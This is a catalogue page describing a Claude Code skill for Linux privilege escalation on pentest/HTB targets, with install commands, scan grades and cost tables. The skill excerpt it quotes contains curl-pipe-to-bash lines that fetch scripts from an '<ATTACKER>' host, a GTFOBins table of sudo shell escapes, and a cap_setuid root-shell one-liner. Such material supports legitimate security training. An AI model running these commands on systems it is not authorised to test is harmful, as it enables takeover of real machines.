Linux Privilege Escalation

Linux Privilege Escalation is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 61 tokens per session (2,158 once invoked), scanned A, original, MIT.

A guide to finding ways to gain root access from a lower-privileged account on Linux. It covers automated checks and manual checks for permissions, scheduled tasks, special file permissions and known escape paths.

In plain words
What is it for?
Using tools such as LinPEAS, LinEnum and Linux Smart Enumeration, then checking users, groups, sudo permissions, SUID files, cron jobs, capabilities and kernel information.
Why use it?
It structures the search for misconfigurations that could allow privilege escalation instead of relying on ad hoc commands.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin. Also seen: positional $N argument.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Using tools such as LinPEAS, LinEnum and Linux Smart Enumeration, then checking users, groups, sudo permissions, SUID files, cron jobs, capabilities and kernel information.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/linux-privesc
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add allsmog/blackbox-claude-plugin --skill linux-privesc
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for Linux Privilege Escalation

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/linux-privesc.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/linux-privesc)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/linux-privesc"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/linux-privesc.svg" alt="Measured on agentmods" height="20"></a>
Per session 61 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,158 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 7 Sept 2026 📄 Read the review
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00061 $0.02158
Opus 5 $0.00030 $0.01079
Sonnet 5 $0.00012 $0.00432
Haiku 4.5 $0.00006 $0.00216

Measured 7d ago against content hash fc6ccddb2841, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade A, and why

Linux Privilege Escalation scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

blackbox-htb/skills/linux-privesc/SKILL.md · 309 lines

How it starts

The opening of the file, as written. The whole thing — 309 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Privilege Escalation Skill

Overview

Techniques for escalating privileges from a low-privileged user to root on Linux systems.

Automated Enumeration

LinPEAS

# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Save output
./linpeas.sh -a 2>&1 | tee linpeas.txt

# Focus on colors:
# RED/YELLOW = 95% PE vector
# RED = Possible PE vector
# CYAN = Files with interesting permissions

LinEnum

curl http://<ATTACKER>/LinEnum.sh | bash

Linux Smart Enumeration (LSE)

curl http://<ATTACKER>/lse.sh | bash -s -- -l 2

Manual Enumeration Checklist

1. User Information

id                      # Current user and groups
whoami                  # Username
groups                  # Group memberships
cat /etc/passwd         # All users
cat /etc/group          # All groups
last                    # Login history
w                       # Who is logged in

2. Sudo Permissions

sudo -l                 # What can we run as sudo?

Common Sudo Exploits (GTFOBins):

Binary Exploit
vim sudo vim -c '!sh'
less sudo less /etc/passwd then !sh
find sudo find / -exec /bin/sh \;
awk sudo awk 'BEGIN {system("/bin/sh")}'
nmap sudo nmap --interactive then !sh
python sudo python -c 'import pty;pty.spawn("/bin/sh")'
perl sudo perl -e 'exec "/bin/sh";'
ruby sudo ruby -e 'exec "/bin/sh"'
env sudo env /bin/sh
ftp sudo ftp then !sh

3. SUID Binaries

find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Check against GTFOBins for each binary found

Common exploitable SUID binaries:

  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/python
  • /usr/bin/perl
  • /usr/bin/nmap
  • /usr/bin/less
  • /usr/bin/awk

4. Capabilities

getcap -r / 2>/dev/null

Exploitable Capabilities:

Capability Exploit
cap_setuid python3 -c 'import os;os.setuid(0);os.execv("/bin/sh",["sh"])'
cap_net_raw Packet sniffing
cap_dac_override Read any file
cap_sys_admin Mount filesystems

Read the full file on GitHub · 309 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 309 lines · 61 tokens per session scan F fc6ccddb2841

Subscribe to this mod's changes

Linux Privilege Escalation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 61 tokens to every session and 2,158 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

mks

MKS (Metasploit-Kali Server) tool preference guide. Mount in Phase 0/1 alongside the primary skill. Provides URL resolution, REST endpoint patterns, response parsing, error handling, and fallback rules for all MKS-backed Kali tools.

Stickman230/claude-pentest · 54 tokens

pentest

Penetration testing orchestrator that coordinates specialized attack agents. Provides attack indexes, methodology frameworks, and documentation. Execution delegated to specialized agents (SQL Injection, XSS, SSRF, etc.). Use for engagement planning and attack coordination.

Stickman230/claude-pentest · 50 tokens

authenticating

Authentication testing skill - automates signup, login, 2FA bypass, CAPTCHA solving, and bot detection evasion using Playwright MCP. Tests authentication security controls. Includes behavioral biometrics simulation, OTP handling, and automated account creation for security assessments.

Stickman230/claude-pentest · 54 tokens

common-appsec-patterns

Application security testing coordinator for common vulnerability patterns including XSS, injection flaws, and client-side security issues. Orchestrates specialized testing agents to identify and validate common application security weaknesses.

Stickman230/claude-pentest · 42 tokens

web-application-mapping

Comprehensive web application reconnaissance and mapping coordinator that orchestrates passive browsing, active endpoint discovery, attack surface analysis, and headless browser automation for complete application coverage.

Stickman230/claude-pentest · 38 tokens

cve-testing

CVE vulnerability testing coordinator that identifies technology stacks, researches known vulnerabilities, and tests applications for exploitable CVEs using public exploits and proof-of-concept code.

Stickman230/claude-pentest · 36 tokens